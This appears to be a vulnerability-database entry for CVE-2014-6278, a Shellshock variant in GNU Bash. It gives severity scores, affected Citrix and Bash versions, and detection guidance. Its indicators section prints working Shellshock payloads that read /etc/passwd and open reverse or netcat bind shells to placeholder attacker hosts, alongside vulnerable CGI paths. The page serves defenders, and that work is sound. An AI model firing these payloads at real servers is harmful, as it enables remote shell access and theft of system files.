cbcvebase.
CVE-2014-6278
published 2014-09-30

CVE-2014-6278: GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, which allows remote attackers to execute…

PriorityP194high8.8CVSS 3.1
AVNACLPRNUIRSUCHIHAH
KEVITWEXPLOITInitial access
CISA Known Exploited Vulnerabilitydue 2025-10-23
Exploited in the wild
EPSS
99.62%
99.9th percentile
GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, which allows remote attackers to execute arbitrary commands via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271, CVE-2014-7169, and CVE-2014-6277.

Affected

48 ranges· showing 25
VendorProductVersion rangeFixed in
citrixcitrix_netscaler_adc
citrixcitrix_netscaler_sdx
citrixcitrix_xenapp
citrixcitrix_xendesktop
citrixcitrix_xenmobile
citrixcitrix_xenserver
citrixnetscaler_adc
citrixnetscaler_gateway
citrixnetscaler_sdx
citrixsharefile
citrixxenapp
citrixxendesktop
citrixxenmobile
citrixxenserver
debianbash< bash 4.3-9.2 (bookworm)bash 4.3-9.2 (bookworm)
gnubash
gnubash
gnubash
gnubash
gnubash
gnubash
gnubash
gnubash
gnubash
gnubash

Detection & IOCsextracted from sources · hover to see the quote

path/tarantella/cgi-bin/modules.cgi
urlhttps://<target>/ucsm/isSamInstalled.cgi
path/ucsm/isSamInstalled.cgi
command() { :; }; echo; /bin/cat /etc/passwd
command() { ignored;};/bin/bash -i >& /dev/tcp/<attackhost>/<port> 0>&1
command() { test;};echo "Content-type: text/plain"; echo; echo; echo $(</etc/passwd)
command() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/<lhost>/<lport> 0>&1 &
command() { :;}; /bin/bash -c 'nc -l -p <rport> -e /bin/bash &'
path/cgi-sys/entropysearch.cgi
path/cgi-sys/defaultwebpage.cgi
path/cgi-mod/index.cgi
path/cgi-bin/test.cgi
path/cgi-bin-sdb/printenv
cookie() { :;}; <payload>
  • Detect Shellshock exploitation attempts by inspecting HTTP User-Agent headers for the malicious function definition pattern `() {`
  • Also inspect HTTP Cookie and Referer headers for the `() {` Shellshock payload pattern, as exploit tooling injects the payload into both headers simultaneously
  • Flag HTTP responses whose body starts with `\nroot:` as a positive indicator of successful Shellshock exploitation and /etc/passwd exfiltration
  • Monitor CGI endpoints (especially /cgi-bin/, /cgi-sys/, /cgi-mod/, /cgi-bin-sdb/) for requests containing `() {` in any HTTP header as a Shellshock indicator
  • For CUPS-based Shellshock exploitation, monitor PRINTER_INFO and PRINTER_LOCATION variables for function definition injection patterns
  • ·CVE-2014-6278 is an incomplete fix for prior Shellshock CVEs; patching CVE-2014-6271 and CVE-2014-7169 alone is insufficient — all three patches must be applied
  • ·CUPS exploitation requires valid credentials; unauthenticated exploitation via CUPS is not possible for this CVE
  • ·Cisco UCS Manager exploitation was confirmed on version 2.1(1b) but additional versions are likely vulnerable; scope of affected versions should be verified against Cisco's advisory

CVSS provenance

nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
osv10.0CRITICAL
vulncheck8.8HIGH
cisa8.8HIGH
vendor_ubuntu10.0CRITICAL
vendor_debian9.8HIGH
vendor_redhat9.8CRITICAL
vendor_cisco7.5HIGH
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